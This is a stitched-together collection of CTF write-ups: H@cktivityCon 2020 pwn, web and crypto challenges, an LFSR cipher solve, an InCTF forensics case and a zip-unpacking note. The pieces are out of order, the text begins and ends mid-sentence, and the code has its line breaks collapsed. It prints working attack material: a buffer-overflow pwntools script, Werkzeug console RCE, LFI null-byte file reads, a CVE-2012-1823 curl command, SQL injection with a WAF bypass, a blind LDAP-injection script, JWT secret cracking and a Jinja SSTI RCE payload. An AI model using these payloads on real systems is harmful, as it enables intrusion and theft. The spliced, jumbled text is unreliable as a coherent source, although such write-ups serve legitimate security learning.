a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
We are given an encrypted flag, the program that encrypted it, and its source code. Looking at the source code of the program we can deduce that it is a Linear Feedback Shift Register (LFSR) xor cipher, but with additional encryption modes similar to AES. These encryption modes are implemented with a block size of 1 byte, and a constant IV value of 0xa2. We also see that the seed for the LFSR is constant, and therefore the keystream is as well. This keystream can be easily extracted by using the program to encrypt a file that contains n null bytes using the ECB mode. This is because ECB mode is simply the xor cipher. In my case, 200 bytes of the keystream was enough. There was no information about which mode was used to encrypt the flag, so we can try all of them. ECB decryption is easily done as it is symmetrical to encryption. This means that we can simply pass the ciphertext through the program again. However, this did not produce the flag. CBC decryption is done by xoring each block with the keystream, and then xoring with the previous ciphertext block. For the first block, the previous block is the IV. Decrypting with this method produced the flag.
# **InCTF 2020: Lookout Foxy**Challenge Author: *g4rud4* Category: _Forensics_ Read more of my writeups [here](https://klanec.github.io/) ### **The Challenge**We are given an Expert Witness format image dump of a windows XP hard disk and the clue that our suspect uses a "genuine" old chat client to communicate. ### **Mounting the image**First things first. We must mount the image. There are many methods to do this, some more manual than others. I used [*imagemounter*][imgmounter] which made the process seamless and convenient. You can install it with `pip3 install imagemounter` Once installed, we can simply do the following (though you might need to use sudo):```$ imount ./Lookout\ Foxy\ final.E01 [+] Mounting image ./Lookout Foxy final.E01 using auto...[+] Mounted raw image [1/1][+] Mounted volume 7.49 GiB 2:NTFS [Windows XP] on /tmp/im_2_5u5j8o4b_.>>> Press [enter] to unmount the volume, or ^C to keep mounted... ```And just leave it running in another terminal. As you can see, it has mounted the image to `/tmp/im_2_5u5j8o4b_/` for us. ### **Flag Part 1** Once I had the drive mounted, I spent a while analyzing the directory structure to understand: - what programs are installed- what users there are- what files or programs could be of interest (system or otherwise) I used the `tree` command to get the entire directory structure as follows: `$ tree -a /tmp/im_2_5u5j8o4b_/ > tree.txt` I find this easier than manually going through with a terminal or a file manager. Open it in a text editor and scroll through to investigate. It appears that there is a Microsoft Outlook account and identity configured. ```│ │ ├── Local Settings│ │ │ ├── Application Data│ │ │ │ ├── GDIPFONTCACHEV1.DAT│ │ │ │ ├── IconCache.db│ │ │ │ ├── Identities│ │ │ │ │ └── {72F33BC6-0035-4FE0-AED1-5870C5CA389E}│ │ │ │ │ └── Microsoft│ │ │ │ │ └── Outlook Express│ │ │ │ │ ├── Deleted Items.dbx│ │ │ │ │ ├── Drafts.dbx│ │ │ │ │ ├── Folders.dbx│ │ │ │ │ ├── Inbox.dbx│ │ │ │ │ ├── Offline.dbx│ │ │ │ │ ├── Outbox.dbx│ │ │ │ │ ├── Pop3uidl.dbx│ │ │ │ │ └── Sent Items.dbx```Those DBX files should contain emails if this Outlook account was actively being used from this PC. We can dump the emails with a super niche command line tool, `undbx`. Install like so: `sudo apt install undbx` And use as below:```$ undbx Inbox.dbx ~/Documents/CTF/inctf/forensics/foxy/undbx/ -v3UnDBX v0.21 (Aug 29 2018)Extracting 1 messages from Inbox.dbx to /home/klanec/Documents/CTF/inctf/forensics/foxy/undbx//Inbox: 100.0%1 messages saved, 0 skipped, 0 errors, 0 files movedExtracted 1 out of 1 DBX files```The other DBX files contained nothing, but it seems there is a lone email in the `Inbox.dbx` file that we have now managed to extract. Open the extracted email in a text-editor and you will see that the email has an encrypted attachment. ```.. (output truncated).From: David Banjamin <[email protected]>Date: Mon, 27 Jul 2020 19:38:43 +0530Message-ID: <CAATHjt-3yJWu9_omTgRPp79GXsxCUjgMqvHOrLy652GzZOg=9A@mail.gmail.com>Subject: Secret FileTo: [email protected]Content-Type: multipart/mixed; boundary="000000000000ef6e6205ab6cdcd2" --000000000000ef6e6205ab6cdcd2Content-Type: multipart/alternative; boundary="000000000000ef6e6005ab6cdcd0" --000000000000ef6e6005ab6cdcd0Content-Type: text/plain; charset="UTF-8" Attaching a Secret File --000000000000ef6e6005ab6cdcd0Content-Type: text/html; charset="UTF-8" <div dir="ltr">Attaching a Secret File</div> --000000000000ef6e6005ab6cdcd0----000000000000ef6e6205ab6cdcd2Content-Type: application/pgp-encrypted; name="secret.gpg"Content-Disposition: attachment; filename="secret.gpg"Content-Transfer-Encoding: base64Content-ID: <f_kd4l6uw10>X-Attachment-Id: f_kd4l6uw10 hQGMAyHuKvK4GOsrAQv+OiBvJwsMyMaptMBHmISeGQeYw.(output truncated).```First lets extract the encrypted file. To do this, one could write a quick bash script or even copy/paste. But why would we do such a thing when a super niche command line tool exists for this already? Install the MIME pack program with `sudo apt install mpack` and unpack with the `munpack` command as below: ```$ munpack David\ Banjamin_davin.banjamin@_danial.banjamin__danial.banjami_Secret\ File.7729CC00.6F6A2780.eml tempdesc.txt: File existssecret.gpg (application/pgp-encrypted) $ file secret.gpgsecret.gpg: PGP RSA encrypted session key - keyid: F22AEE21 2BEB18B8 RSA (Encrypt or Sign) 3072b . ```Great. We can understand from the file header that it is a PGP encrypted file and from the extensions (*.gpg*) that it was most likely encrypted using the *GPG* software suite. Searching for `gpg` in our directory structure output reveals that it is installed AND that a key exists too.```├── Program Files│ ├── GPG│ │ └── secret.key```Lets import the key to gpg:```$ cd /tmp/im_2_5u5j8o4b_/Program Files/GPG$ gpg --import secret.key gpg: keybox '/home/klanec/.gnupg/pubring.kbx' createdgpg: /home/klanec/.gnupg/trustdb.gpg: trustdb createdgpg: key 35E453B7B6FB578A: public key "Danial Banjamin <[email protected]>" importedgpg: key 35E453B7B6FB578A: secret key importedgpg: Total number processed: 1gpg: imported: 1gpg: secret keys read: 1gpg: secret keys imported: 1``` And then try to decrypt the encrypted file: (below output truncated) ```$ gpg -d secret.gpg gpg: encrypted with 3072-bit RSA key, ID 21EE2AF2B818EB2B, created 2020-03-21 "Danial Banjamin <[email protected]>"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Malesuada nunc vel risus commodo viverra. Suspendisse faucibus interdum posuere lorem ipsum. Sit amet facilisis magna etiam tempor orci eu lobortis elementum. Vestibulum sed arcu non odio euismod lacinia at quis. Rhoncus urna neque viverra justo nec. Mi in nulla posuere sollicitudin aliquam ultrices sagittis orci a. Mauris commodo quis imperdiet massa tincidunt nunc pulvinar sapien. Auctor elit sed vulputate mi. Sed elementum tempus egestas sed sed risus. Proin fermentum leo vel orci porta. Vel orci porta non pulvinar. A arcu cursus vitae congue mauris rhoncus aenean vel elit. Giving away the top secret information. Don't tell that to anyone :)...Passing the information:...This is an important string. Don't share with anyone....I will be sending you the important message in parts. Grab each and everything....Here is the first part:...Important string: inctf{!_h0p3_y0u_L1k3d_s0lv1ng_7h3_F1rs7_p4r7_ ...```And so, part 1 of the flag has been found! `inctf{!_h0p3_y0u_L1k3d_s0lv1ng_7h3_F1rs7_p4r7_` ### **Flag Part 2**Scanning through the directory tree reveals that Firefox is installed.```│ │ │ └── Mozilla│ │ │ ├── Extensions│ │ │ └── Firefox│ │ │ ├── Crash Reports│ │ │ │ ├── events│ │ │ │ └── InstallTime20180621064021│ │ │ ├── Profiles│ │ │ │ └── 5ztdm4br.default│ │ │ │ ├── addons.json```An active Firefox installation will have a profile that contains a wealth of forensic data. We can see one such profile existing in the above snippet (`Profiles -> 5ztdm4br.default`)There is a great tool in development for firefox forensics called [*firefed*][firefed]. You can install it with pip, or pull from the git I have linked `pip3 install firefed` There is a lot of data to mine through from firefed, but the smoking gun is the `logins` module, which reveals that our suspect has saved a username and password to a fishy looking IP address:```$ cd /tmp/im_2_5u5j8o4b_/Documents and Settings/crimson/Application Data/Mozilla/Firefox/Profiles/5ztdm4br.default $ firefed -p ./ loginsHost Username Password --------------------- --------------- ------------------------------------------http://35.209.205.103 Danial_Banjamin 2!6BQ&e626g#YNWxsQWV9^knO8#85*E%6Zaxr@At42 ```Connecting to the remote server reveals a login page.![connect][connect] Inputting the saved credentials we found earlier reveals the second part of the flag: ![flag_part2][flag_part2] Flag part 2`4nd_3njoy3d_7he_53c0nd_p4rt_0f_7h3_ch4ll3ng3}` Connect parts 1 and 2 and we have the flag:`inctf{!_h0p3_y0u_L1k3d_s0lv1ng_7h3_F1rs7_p4r7_4nd_3njoy3d_7he_53c0nd_p4rt_0f_7h3_ch4ll3ng3}` Hats off to g4rud4 for writing such an interesting challenge. [imgmounter]: https://github.com/ralphje/imagemounter[firefed]: https://github.com/numirias/firefed[connect]: https://raw.githubusercontent.com/RGBsec/CTFs2020/master/InCTF2020/forensics/lookout%20foxy/login.png[flag_part2]: https://raw.githubusercontent.com/RGBsec/CTFs2020/master/InCTF2020/forensics/lookout%20foxy/flag_part2.png
In this we get a simple pop.zip file which is compressed multiple times using various compression methods. To solve this I have copied the zip to a directory and extracted multiple times using 7z. Here is a simple script for the script. (https://github.com/gr33nm0nk2802/Writeups/tree/master/HactivityCon2020/pop.sh)
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the 